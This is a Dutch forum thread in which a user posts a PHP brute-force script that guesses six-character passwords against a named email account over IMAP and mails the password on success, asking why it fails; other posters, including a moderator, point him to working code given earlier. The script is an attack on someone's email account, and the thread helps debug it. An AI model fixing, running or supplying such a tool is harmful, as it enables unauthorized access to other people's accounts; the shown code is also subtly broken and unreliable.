Hallo,

Ik wil dmv brute-force achter een wachtwoord komen. Rustig maar, ik weet wat ik doe, als ik erachter ben ga ik er geen rare dingen mee doen. Het gaat om het wachtwoord van een e-mailaccount, en ik heb nu dit script gebruikt om steeds een ander wachtwoord te testen, maar er gebeurt niets, behalve dat de kop op het scherm komt.
Dit is de code:
<?php
echo '<h1>Brute-force manager</h1>';
function bruteforce()
{
$tekens = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890';
$wachtwoord = '';
for ($i = 0; $i < 6; $i ++)
{
$random = rand(0, strlen($tekens) - 1);
$wachtwoord = $wachtwoord . substr($tekens, $random, $random + 1);
}
echo "\n" . '<p><i>' . $wachtwoord . '</i>, ';
if($imap = @imap_open("{pop.***.nl}", '***@***.nl',$wachtwoord))
{
mail('***', 'Wachtwoord administratie *** netwerk', $wachtwoord);
echo '<b>wel gelukt</b></p>';
exit;
}
else
{
echo 'niet gelukt</p>';
bruteforce();
}
}
bruteforce();
?>
Weet iemand raad?

Groeten,
Jonathan
maar zou je een stukje code kunnen geven hoe het anders zou moeten???[edit]want zelf heb ik geen flauw idee...[/edit]
Dat heeft Kalle toch net twee keer gedaan, het woordje "moderator" betekent niet dat ik het beter weet dan het woordje "Kalle" hoor.
maar ik vat niet welk stukje ik nodig heb
De functie en de variabelen erboven. Gewoon uitvoeren en wat troep er eventueel uitknippen.

Of je schrijft het gewoon zelf.

Reageren